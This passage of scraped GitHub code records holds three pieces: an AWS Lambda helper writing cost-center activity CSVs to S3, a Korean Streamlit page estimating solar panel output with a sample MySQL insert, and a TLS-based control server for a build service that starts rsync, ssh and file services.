KeyValueStore(table_name=os.environ.get('METERING_ACTIVITIES_DATASTORE', 'SpaActivitiesTable'),\n                         ttl=os.environ.get('METERING_ACTIVITIES_TTL', str(366 * 24 * 60 * 60)))\n\n\ndef build_reports(records):\n    logging.info(\"Building activity reports for each cost center\")\n    reports = {}\n    for record in records:\n        item = record['value']\n        label = Account.get_cost_center(item)\n        reporter = reports.get(label, get_reporter())\n        row = {'Account': item['account'],\n               'Cost Center': Account.get_cost_center(item),\n               'Stamp': item['stamp'],\n               'Transaction': item['transaction'],\n               'Identifier': item['identifier'],\n               'Duration': item['duration']}\n        reporter.writer.writerow(row)\n        reports[label] = reporter\n    return reports\n\n\ndef get_reporter():\n    reporter = SimpleNamespace()\n    reporter.buffer = io.StringIO()\n    reporter.writer = DictWriter(reporter.buffer, fieldnames=['Cost Center', 'Transaction', 'Stamp', 'Account', 'Identifier', 'Duration'])\n    reporter.writer.writeheader()\n    return reporter\n\n\ndef store_report(label, report):\n    logging.info(\"Storing activity report\")\n    logging.debug(report)\n    boto3.client(\"s3\").put_object(Bucket=os.environ['REPORTS_BUCKET_NAME'],\n                                  Key=get_report_path(label),\n                                  Body=report)\n\n\ndef get_report_path(label, day=None):\n    day = day or date.today()\n    return '/'.join([os.environ[\"REPORTING_ACTIVITIES_PREFIX\"],\n                     label,\n                     f\"{day.year:04d}-{day.month:02d}-{label}-activities.csv\"])\n", "repo_name": "reply-fr/sustainable-personal-accounts", "sub_path": "lambdas/on_activity_handler.py", "file_name": "on_activity_handler.py", "file_ext": "py", "file_size_in_byte": 4710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 37, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logger.setup_logging", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 21, "usage_type": "call"}, {"api_name": "events.Events.decode_spa_event", "line_number": 22, "usage_type": "call"}, {"api_name": "events.Events", "line_number": 22, "usage_type": "name"}, {"api_name": "logger.trap_exception", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 34, "usage_type": "call"}, {"api_name": "account.Account.get_cost_center", "line_number": 40, "usage_type": "call"}, {"api_name": "account.Account", "line_number": 40, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 41, "usage_type": "call"}, {"api_name": "metric.put_metric_data", "line_number": 42, "usage_type": "call"}, {"api_name": "events.Events.get_environment", "line_number": 44, "usage_type": "call"}, {"api_name": "events.Events", "line_number": 44, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 47, "usage_type": "call"}, {"api_name": "metric.put_metric_data", "line_number": 48, "usage_type": "call"}, {"api_name": "events.Events.get_environment", "line_number": 50, "usage_type": "call"}, {"api_name": "events.Events", "line_number": 50, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 65, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 66, "usage_type": "call"}, {"api_name": "logger.trap_exception", "line_number": 62, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 75, "usage_type": "call"}, {"api_name": "logger.trap_exception", "line_number": 73, "usage_type": "name"}, {"api_name": "itertools.chain", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 88, "usage_type": "name"}, {"api_name": "key_value_store.KeyValueStore", "line_number": 93, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 93, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 94, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 94, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 98, "usage_type": "call"}, {"api_name": "account.Account.get_cost_center", "line_number": 102, "usage_type": "call"}, {"api_name": "account.Account", "line_number": 102, "usage_type": "name"}, {"api_name": "account.Account.get_cost_center", "line_number": 105, "usage_type": "call"}, {"api_name": "account.Account", "line_number": 105, "usage_type": "name"}, {"api_name": "types.SimpleNamespace", "line_number": 116, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 117, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 118, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 125, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 126, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 126, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 132, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 133, "usage_type": "attribute"}]}
{"seq_id": "72700106813", "text": "# 분석전에 필요한 라이브러리들을 불러오기\n\n# plotly라이브러리가 없다면 아래 설치\n# conda install -c plotly plotly=4.12.0\n# conda install -c conda-forge cufflinks-py\n# conda install seaborn\n# download_modify_metro_regression_streamlit.py\n\nimport glob \nimport os\nimport sys, subprocess\nfrom subprocess import Popen, PIPE\nimport numpy as np\n\nimport pandas as pd\n\nimport math\n\nimport streamlit as st\nimport sklearn\nimport seaborn as sns\n# sns.set(font=\"D2Coding\") \n# sns.set(font=\"Malgun Gothic\") \n# from IPython.display import set_matplotlib_formats\n# set_matplotlib_formats(\"retina\")\nimport matplotlib.pyplot as plt\nimport plotly.io as pio\nimport plotly.express as px\nimport plotly.graph_objects as go \n# import chart_studio.plotly as py\n# import cufflinks as cf\n# # get_ipython().run_line_magic('matplotlib', 'inline')\n# 사이킷런 라이브러리 불러오기 _ 통계, 학습 테스트세트 분리, 선형회귀등\nfrom scipy import stats\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_absolute_error \nfrom sklearn.metrics import r2_score \nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_percentage_error\nfrom sklearn.metrics import mean_squared_log_error\n\n#필요한 데이터 불러오기\ndf1 = pd.read_excel('../data/일사량DB.xlsx')\ndf2 = pd.read_excel('../data/경사일사량DB.xlsx')\ndf3 = pd.read_excel('../data/맑은날DB.xlsx')\n\n#사이드메뉴바 만들기\nst.sidebar.header('Specify Input Parameters')\n\n#집광면적\nLENGTH = st.sidebar.number_input('LENGTH (mm)', 0, 5000, 1300)\nWIDTH = st.sidebar.number_input('WIDTH (mm)', 0, 5000, 1300)\nEA = st.sidebar.number_input('EA', 0, 100000, 100)\n\n집광면적 = LENGTH*WIDTH*EA/1000000\n\n\n#설비용량\n설치용량 = st.sidebar.number_input('설치용량 [W]', 0, 1000, 450)\n설비용량 = 설치용량*EA/1000\n\n집광효율 = st.sidebar.number_input('집광효율 (%)', 0.00, 100.00, 15.02)\n시스템효율 = st.sidebar.number_input('시스템 효율 (%)', 0.00, 100.00, 7.00)\n인버터효율 = st.sidebar.number_input('인버터효율 (%)', 0.00, 100.00, 96.70)\n\n\n#지역=a\nst.subheader('a')\n지역명 = ['강릉', '광주', '대관령', '대구', '대전', '목포','부산', '서산', '서울', '원주', '인천', '전주', '청주', '추풍령', '춘천', '포항', '흑산도']\n지역 = st.sidebar.selectbox('지역', 지역명)\na = df1[지역]\nst.dataframe(a)\n\n#.맑은날 일수  = f\nst.subheader('f')\nst.dataframe(df3)\nf = df3['일수']\n\n#지역별 수평일사량 = bb\nst.subheader('b')\nb= [a[0] / f[0], a[1] / f[1], a[2] / f[2], a[3] / f[3], a[4] / f[4], a[5] / f[5], a[6] / f[6], a[7] / f[7], a[8] / f[8], a[9] / f[9], a[10] / f[10], a[11] / f[11]]\nbb = pd.DataFrame(b, index=['01월', '02월', '03월', '04월', '05월', '06월', '07월', '08월', '09월', '10월', '11월', '12월'], columns=['수평일사량'])\nround(bb['수평일사량'],3)\nst.dataframe(bb)\n\n#방위별 경사일사량 = cc\nst.subheader('c')\n방위별경사각 = ['South_15', 'South_30', 'South_45', 'South_60', 'South_75', 'South_90', 'East_90', 'West_90', 'North_90']\n경사각도 = st.sidebar.selectbox('방위_경사', 방위별경사각)\nc = df2[경사각도]\nst.dataframe(c)\n\n#경사일사량 = dd\nst.subheader('d')\nd = c[0] * b[0], c[0] * b[1], c[0] * b[2], c[0] * b[3], c[0] * b[4], c[0] * b[5], c[0] * b[6], c[0] * b[7], c[0] * b[8], c[0] * b[9], c[0] * b[10], c[0] * b[11]\ndd = pd.DataFrame(d, index=['01월', '02월', '03월', '04월', '05월', '06월', '07월', '08월', '09월', '10월', '11월', '12월'], columns=['경사일사량'])\nst.dataframe(dd)\n\n#일일발전량 = ee\nst.subheader('e')\ne = [d[0] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[1] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[2] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[3] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[4] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[5] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[6] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[7] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[8] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[9] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[10] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000, \nd[11] * 집광효율 * 집광면적 * 인버터효율 * 시스템효율/1000000,]\nee = pd.DataFrame(e, index=['01월', '02월', '03월', '04월', '05월', '06월', '07월', '08월', '09월', '10월', '11월', '12월'], columns=['일일발전량'])\nst.dataframe(ee)\n\n\n#월간발전량 = g\ng = [e[0] * f[0], e[1] * f[1], e[2] * f[2], e[3] * f[3], e[4] * f[4], e[5] * f[5], e[6] * f[6], e[7] * f[7], e[8] * f[8], e[9] * f[9], e[10] * f[10], e[11] * f[11]]\ngg = pd.DataFrame(g, index=['01월', '02월', '03월', '04월', '05월', '06월', '07월', '08월', '09월', '10월', '11월', '12월'], columns=['월간발전량'])\nst.dataframe(gg)\nst.line_chart(gg, use_container_width=True)\n\n\n\n\nimport streamlit as st\nimport pandas as pd\nimport mysql.connector\n\n# MySQL 서버에 연결\nconn = mysql.connector.connect(\n    host=\"localhost\",\n    port=3306,\n    database=\"mydatabase\",\n    user=\"myusername\",\n    password=\"mypassword\"\n)\n\n# DataFrame 생성\ndf = pd.DataFrame({\n    'Name': ['Alice', 'Bob', 'Charlie'],\n    'Age': [25, 30, 35]\n})\n\n# DataFrame을 MySQL 데이터베이스에 저장\ncursor = conn.cursor()\ntable_name = 'mytable'\ncolumns = ', '.join(df.columns)\nvalues = [tuple(row) for row in df.values]\nvalues_template = ', '.join(['%s'] * len(df.columns))\nquery = f'INSERT INTO {table_name} ({columns}) VALUES ({values_template})'\ncursor.executemany(query, values)\nconn.commit()\n\n# 저장된 데이터 확인\ncursor.execute(f'SELECT * FROM {table_name}')\nresult = cursor.fetchall()\nst.write(pd.DataFrame(result, columns=df.columns))\n", "repo_name": "ashowl-git/KRRI_regression_streamlit", "sub_path": "pages/PVmodule.py", "file_name": "PVmodule.py", "file_ext": "py", "file_size_in_byte": 6150, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_excel", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.sidebar.header", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 49, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 52, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 53, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 53, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 54, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 60, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 63, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 63, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 64, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 64, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.number_input", "line_number": 65, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 65, "usage_type": "attribute"}, {"api_name": "streamlit.subheader", "line_number": 69, "usage_type": "call"}, {"api_name": "streamlit.sidebar.selectbox", "line_number": 71, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 71, "usage_type": "attribute"}, {"api_name": "streamlit.dataframe", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 76, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 77, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 83, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 85, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 88, "usage_type": "call"}, {"api_name": "streamlit.sidebar.selectbox", "line_number": 90, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 90, "usage_type": "attribute"}, {"api_name": "streamlit.dataframe", "line_number": 92, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 98, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 101, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 114, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 115, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 120, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 121, "usage_type": "call"}, {"api_name": "streamlit.line_chart", "line_number": 122, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 132, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 132, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 132, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 141, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 159, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 159, "usage_type": "call"}]}
{"seq_id": "27556878461", "text": "#!/usr/bin/python3\n# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t -*-\n\nimport json\nimport socket\nimport select\nimport logging\nimport threading\nfrom OpenSSL import SSL\nfrom gi.repository import GLib\nfrom gbs_util import GbsUtil\nfrom gbs_common import GbsSystem\nfrom gbs_common import GbsPluginManager\nfrom gbs_common import GbsProtocolException\nfrom gbs_common import GbsBusinessException\nfrom services.catfiled import CatFileService\nfrom services.rsyncd import RsyncService\nfrom services.sshd import SshService\n\n\nclass GbsCtrlServer:\n\n    def __init__(self, param):\n        self.param = param\n        self.serverSocket = None\n        self.serverSocketSourceId = None\n        self.handshaker = None\n        self.sessionDict = dict()\n\n    def start(self):\n        self.serverSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.serverSock.bind(('0.0.0.0', self.param.ctrlPort))\n        self.serverSock.listen(5)\n        self.serverSocketSourceId = GLib.io_add_watch(self.serverSock, GLib.IO_IN | _flagError, self.onServerAccept)\n        self.handshaker = _HandShaker(self.param.certFile, self.param.privkeyFile, self.onHandShakeComplete, self.onHandShakeError)\n\n    def stop(self):\n        for sessObj in self.sessionDict.values():\n            sessObj.stop()\n        for sessObj in list(self.sessionDict.values()):     # remove element in loop, we must iterate a copied list\n            sessObj.join()\n        self.serverSock.close()\n\n    def getPort(self):\n        return self.param.ctrlPort\n\n    def onServerAccept(self, source, cb_condition):\n        assert not (cb_condition & _flagError)\n        assert source == self.serverSock\n\n        try:\n            new_sock, addr = self.serverSock.accept()\n            new_sock.setblocking(0)\n            self.handshaker.addSocket(new_sock)\n            logging.info(\"Control Server: Client \\\"%s\\\" accepted.\" % (addr[0]))\n            return True\n        except socket.error as e:\n            logging.error(\"Control Server: Client accept failed, %s, %s\", e.__class__, e)\n            return True\n\n    def onHandShakeComplete(self, source, sslSock, hostname, port):\n        pubkey = sslSock.get_peer_certificate().get_pubkey()\n        for sessObj in self.sessionDict.values():\n            if pubkey == sessObj.pubkey:\n                logging.error(\"Control Server: Client \\\"%s\\\" duplicate, UUID \\\"%s\\\".\" % (sslSock.getpeername()[0], self.sessionDict[pubkey].uuid))\n                sslSock.close()\n                return\n\n        sessObj = GbsCtrlSession(self, sslSock)\n        logging.info(\"Control Server: Client \\\"%s\\\" connected, UUID \\\"%s\\\".\" % (sslSock.getpeername()[0], sessObj.sysObj.getUuid()))\n        sessObj.start()\n        self.sessionDict[sslSock] = sessObj\n\n    def onHandShakeError(self, source, hostname, port):\n        logging.error(\"Control Server: Client \\\"%s\\\" hand shake error.\" % (source.getpeername()[0]))\n        source.close()\n\n\nclass GbsCtrlSession(threading.Thread):\n\n    def __init__(self, parent, sslSock):\n        super(GbsCtrlSession, self).__init__()\n\n        self.parent = parent\n        self.sslSock = sslSock\n        self.recvBuf = b''\n        self.sendBuf = b''\n        self.bQuit = False\n\n        # business data\n        self.pubkey = self.sslSock.get_peer_certificate().get_pubkey()\n        self.sysObj = GbsSystem(self.parent.param, self.pubkey)\n        self.plugin = None                                                          # plugin object\n        self.stage = None                                                           # stage name\n\n    def stop(self):\n        self.sslSock.shutdown()\n\n    def run(self):\n        try:\n            while True:\n                inputs = [self.sslSock]\n                if len(self.sendBuf) > 0:\n                    outputs = [self.sslSock]\n                else:\n                    outputs = []\n                readable, writable, exceptional = select.select(inputs, outputs, inputs, 10.0)\n\n                # read from client\n                if len(readable) > 0 and not self.bQuit:\n                    try:\n                        buf = self.sslSock.recv(4096)\n                        if len(buf) == 0:\n                            logging.info(\"Control Server: Client \\\"%s\\\" disconnected.\" % (self._formatClient()))\n                            return\n                    except SSL.SysCallError as e:\n                        if str(e) in [\"(-1, 'Unexpected EOF')\", \"(104, 'ECONNRESET')\"]:\n                            logging.info(\"Control Server: Client \\\"%s\\\" disconnected.\" % (self._formatClient()))\n                            return\n                        raise\n\n                    self.recvBuf += buf\n\n                    # we have received a json object, which must be a request\n                    i = self.recvBuf.find(b'\\n')\n                    if i >= 0:\n                        requestObj = json.loads(self.recvBuf[:i].decode(\"iso8859-1\"))\n                        self.recvBuf = self.recvBuf[i + 1:]\n                        responseObj = self.onRequest(requestObj)    # create response when processing request\n                        self.sendBuf += (json.dumps(responseObj) + \"\\n\").encode(\"iso8859-1\")\n\n                # write to client\n                if len(writable) > 0:\n                    i = self.sslSock.send(self.sendBuf)\n                    self.sendBuf = self.sendBuf[i:]\n                    if self.bQuit and len(self.sendBuf) == 0:\n                        logging.info(\"Control Server: Client \\\"%s\\\" quits.\" % (self._formatClient()))\n                        return\n\n                # error occured\n                if len(exceptional) > 0:\n                    raise GbsCtrlSessionException(\"Socket error\")\n\n                # ensure the disk is always large enough\n                self.sysObj.enlarge()\n        except (GbsCtrlSessionException, GbsProtocolException, GbsBusinessException) as e:\n            logging.error(\"Control Server: \" + str(e) + \" from client \\\"%s\\\".\" % (self._formatClient()))\n        finally:\n            if self.stage == \"syncup\":\n                self._syncupStageEndHandler()\n            elif self.stage == \"working\":\n                self._workingStageEndHandler()\n            else:\n                assert self.stage is None\n            self._finiHandler()\n            del self.parent.sessionDict[self.sslSock]\n            self.sslSock.close()\n\n    def onRequest(self, requestObj):\n        if \"command\" not in requestObj:\n            raise GbsProtocolException(\"Missing \\\"command\\\" in request object\")\n\n        if requestObj[\"command\"] == \"init\":\n            return self.cmdInit(requestObj)\n        elif requestObj[\"command\"] == \"stage-syncup\":\n            return self.cmdStage(\"syncup\", requestObj)\n        elif requestObj[\"command\"] == \"stage-working\":\n            return self.cmdStage(\"working\", requestObj)\n        elif requestObj[\"command\"] == \"quit\":\n            return self.cmdQuit(requestObj)\n        else:\n            raise GbsProtocolException(\"Unknown command\")\n\n    def cmdInit(self, requestObj):\n        logging.debug(\"Control Server: Command \\\"init\\\" received from client \\\"%s\\\".\" % (self._formatClient()))\n        try:\n            self._initHandler(requestObj)\n            logging.debug(\"Control Server: Command \\\"init\\\" processed from client \\\"%s\\\".\" % (self._formatClient()))\n            return {\"return\": {}}\n        except Exception as e:\n            self._finiHandler()\n            logging.exception(\"Control Server: Command \\\"init\\\" error %s from client \\\"%s\\\".\" % (str(e), self._formatClient()))\n            return {\"error\": str(e)}\n\n    def cmdStage(self, stage, requestObj):\n        STAGE_LIST = [\"syncup\", \"working\"]\n        assert stage in STAGE_LIST\n\n        try:\n            if STAGE_LIST.index(stage) == 0 and self.stage is not None:\n                raise GbsProtocolException(\"Command \\\"stage-%s\\\" out of order\" % (stage))\n            if STAGE_LIST.index(stage) > 0 and STAGE_LIST.index(self.stage) + 1 != STAGE_LIST.index(stage):\n                raise GbsProtocolException(\"Command \\\"stage-%s\\\" out of order\" % (stage))\n\n            # stage end processing\n            if self.stage == \"syncup\":\n                self._syncupStageEndHandler()\n            elif self.stage == \"working\":\n                self._workingStageEndHandler()\n            else:\n                assert self.stage is None\n\n            # stage start processing\n            logging.debug(\"Control Server: Command \\\"stage-%s\\\" received from client \\\"%s\\\".\" % (stage, self._formatClient()))\n            self.stage = stage\n            try:\n                if self.stage == \"syncup\":\n                    ret = self._syncupStageStartHandler(requestObj)\n                elif self.stage == \"working\":\n                    ret = self._workingStageStartHandler(requestObj)\n                else:\n                    assert False\n                logging.debug(\"Control Server: Command \\\"stage-%s\\\" processed from client \\\"%s\\\".\" % (stage, self._formatClient()))\n                return self._formatStageReturn(ret)\n            except:\n                if self.stage == \"syncup\":\n                    self._syncupStageEndHandler()\n                elif self.stage == \"working\":\n                    self._workingStageEndHandler()\n                else:\n                    assert False\n                self.stage = None\n                raise\n        except Exception as e:\n            logging.exception(\"Control Server: Command \\\"stage-%s\\\" error %s from client \\\"%s\\\".\" % (stage, str(e), self._formatClient()))\n            return {\"error\": str(e)}\n\n    def cmdQuit(self, requestObj):\n        logging.debug(\"Control Server: Command \\\"quit\\\" from client \\\"%s\\\".\" % (self._formatClient()))\n        self.bQuit = True\n        return {\"return\": {}}\n\n    def _initHandler(self, requestObj):\n        if \"hostname\" in requestObj:\n            logging.debug(\"Control Server:     hostname = %s\" % (requestObj[\"hostname\"]))\n            self.sysObj.getClientInfo().hostname = requestObj[\"hostname\"]\n\n        if \"cpu-arch\" in requestObj:\n            logging.debug(\"Control Server:     cpu-arch = %s\" % (requestObj[\"cpu-arch\"]))\n            self.sysObj.getClientInfo().cpu_arch = requestObj[\"cpu-arch\"]\n        else:\n            raise GbsProtocolException(\"Missing \\\"cpu-arch\\\" in command \\\"init\\\"\")\n\n        if \"plugin\" in requestObj:\n            logging.debug(\"Control Server:     plugin = %s\" % (requestObj[\"plugin\"]))\n            self.plugin = GbsPluginManager.loadPluginObject(requestObj[\"plugin\"], self.parent.param, self)\n\n        self.sysObj.mount()\n        self.sysObj.commitClientInfo()\n\n        if self.plugin is not None and hasattr(self.plugin, \"init_handler\"):\n            self.plugin.init_handler(requestObj)\n\n    def _finiHandler(self):\n        # should raise no exception\n        if self.plugin is not None and hasattr(self.plugin, \"fini_handler\"):\n            self.plugin.fini_handler()\n        self.sysObj.unmount()\n\n    def _syncupStageStartHandler(self, requestObj):\n        ret = {}\n\n        # invoke plugin start handler\n        if self.plugin is not None and hasattr(self.plugin, \"stage_syncup_start_handler\"):\n            ret2 = self.plugin.stage_syncup_start_handler(requestObj)\n            GbsUtil.mergeDictWithOverwriteAsException(ret, ret2)\n\n        # start rsync service\n        self.rsyncServ = RsyncService(self.parent.param, self.sysObj.getUuid(), self.sslSock.getpeername()[0],\n                                      self.sslSock.get_peer_certificate(), self.sysObj.getMntDir(), True)\n        self.rsyncServ.start()\n        logging.debug(\"Control Server:     rsync service on %d\" % (self.rsyncServ.getPort()))\n        GbsUtil.mergeDictWithOverwriteAsException(ret, {\n            \"rsync-port\": self.rsyncServ.getPort(),\n        })\n\n        return ret\n\n    def _syncupStageEndHandler(self):\n        # should raise no exception\n        if hasattr(self, \"rsyncServ\"):\n            self.rsyncServ.stop()\n            del self.rsyncServ\n        if self.plugin is not None and hasattr(self.plugin, \"stage_syncup_end_handler\"):\n            self.plugin.stage_syncup_end_handler()\n\n    def _workingStageStartHandler(self, requestObj):\n        ret = {}\n\n        # prepare root directory\n        self.sysObj.prepareRoot()\n\n        # invoke plugin start handler\n        if self.plugin is not None and hasattr(self.plugin, \"stage_working_start_handler\"):\n            ret2 = self.plugin.stage_working_start_handler(requestObj)\n            GbsUtil.mergeDictWithOverwriteAsException(ret, ret2)\n\n        # start ssh service\n        self.sshServ = SshService(self.parent.param, self.sysObj.getUuid(), self.sslSock.getpeername()[0],\n                                  self.sslSock.get_peer_certificate(), self.sysObj.getMntDir())\n        self.sshServ.start()\n        logging.debug(\"Control Server:     ssh service on %d\" % (self.sshServ.getPort()))\n        GbsUtil.mergeDictWithOverwriteAsException(ret, {\n            \"ssh-port\": self.sshServ.getPort(),\n            \"ssh-key\": self.sshServ.getKey(),\n        })\n\n        # start rsync service\n        self.rsyncServ = RsyncService(self.parent.param, self.sysObj.getUuid(), self.sslSock.getpeername()[0],\n                                      self.sslSock.get_peer_certificate(), self.sysObj.getMntDir(), False)\n        self.rsyncServ.start()\n        logging.debug(\"Control Server:     rsync service on %d\" % (self.rsyncServ.getPort()))\n        GbsUtil.mergeDictWithOverwriteAsException(ret, {\n            \"rsync-port\": self.rsyncServ.getPort(),\n        })\n\n        # start catfile service\n        self.catfileServ = CatFileService(self.parent.param, self.sysObj.getUuid(), self.sslSock.getpeername()[0],\n                                          self.sslSock.get_peer_certificate(), self.sysObj.getMntDir())\n        self.catfileServ.start()\n        logging.debug(\"Control Server:     catfile service on %d\" % (self.catfileServ.getPort()))\n        GbsUtil.mergeDictWithOverwriteAsException(ret, {\n            \"catfile-port\": self.catfileServ.getPort(),\n        })\n\n        return ret\n\n    def _workingStageEndHandler(self):\n        # should raise no exception\n        if hasattr(self, \"catfileServ\"):\n            self.catfileServ.stop()\n            del self.catfileServ\n        if hasattr(self, \"rsyncServ\"):\n            self.rsyncServ.stop()\n            del self.rsyncServ\n        if hasattr(self, \"sshServ\"):\n            self.sshServ.stop()\n            del self.sshServ\n        if self.plugin is not None and hasattr(self.plugin, \"stage_working_end_handler\"):\n            self.plugin.stage_working_end_handler()\n        self.sysObj.unPrepareRoot()\n\n    def _formatStageReturn(self, ret):\n        ret[\"stage\"] = self.stage\n        return {\"return\": ret}\n\n    def _formatClient(self):\n        ret = \"UUID:%s\" % (self.sysObj.getUuid())\n        if self.sysObj.getClientInfo().hostname is not None:\n            ret = \"%s(%s)\" % (self.sysObj.getClientInfo().hostname, ret)\n        return ret\n\n\nclass GbsCtrlSessionException(Exception):\n    pass\n\n\nclass GbsPluginException(Exception):\n    pass\n\n\nclass _HandShaker:\n\n    HANDSHAKE_NONE = 0\n    HANDSHAKE_WANT_READ = 1\n    HANDSHAKE_WANT_WRITE = 2\n    HANDSHAKE_COMPLETE = 3\n\n    def __init__(self, certFile, privkeyFile, handShakeCompleteFunc, handShakeErrorFunc):\n        self.certFile = certFile\n        self.privkeyFile = privkeyFile\n        self.handShakeCompleteFunc = handShakeCompleteFunc\n        self.handShakeErrorFunc = handShakeErrorFunc\n        self.sockDict = dict()\n\n    def dispose(self):\n        for sock in self.sockDict:\n            sock.close()\n        self.sockDict.clear()\n\n    def addSocket(self, sock, hostname=None, port=None):\n        info = _HandShakerConnInfo()\n        info.state = _HandShaker.HANDSHAKE_NONE\n        info.sslSock = None\n        info.hostname = hostname\n        info.port = port\n        self.sockDict[sock] = info\n\n        sock.setblocking(0)\n        GLib.io_add_watch(sock, GLib.IO_IN | GLib.IO_OUT | _flagError, self._onEvent)\n\n    def _onEvent(self, source, cb_condition):\n        info = self.sockDict[source]\n\n        try:\n            # check error\n            if cb_condition & _flagError:\n                raise _ConnException(\"Socket error, %s\" % (GbsUtil.cbConditionToStr(cb_condition)))\n\n            # HANDSHAKE_NONE\n            if info.state == _HandShaker.HANDSHAKE_NONE:\n                ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n                ctx.set_verify(SSL.VERIFY_PEER, _sslVerifyDummy)\n#                ctx.set_mode(SSL.MODE_ENABLE_PARTIAL_WRITE)                    # fixme\n                ctx.use_privatekey_file(self.privkeyFile)\n                ctx.use_certificate_file(self.certFile)\n\n                info.sslSock = SSL.Connection(ctx, source)\n                info.sslSock.set_accept_state()\n                info.state = _HandShaker.HANDSHAKE_WANT_WRITE\n\n            # HANDSHAKE_WANT_READ & HANDSHAKE_WANT_WRITE\n            if ((info.state == _HandShaker.HANDSHAKE_WANT_READ and cb_condition & GLib.IO_IN) or\n                    (info.state == _HandShaker.HANDSHAKE_WANT_WRITE and cb_condition & GLib.IO_OUT)):\n                try:\n                    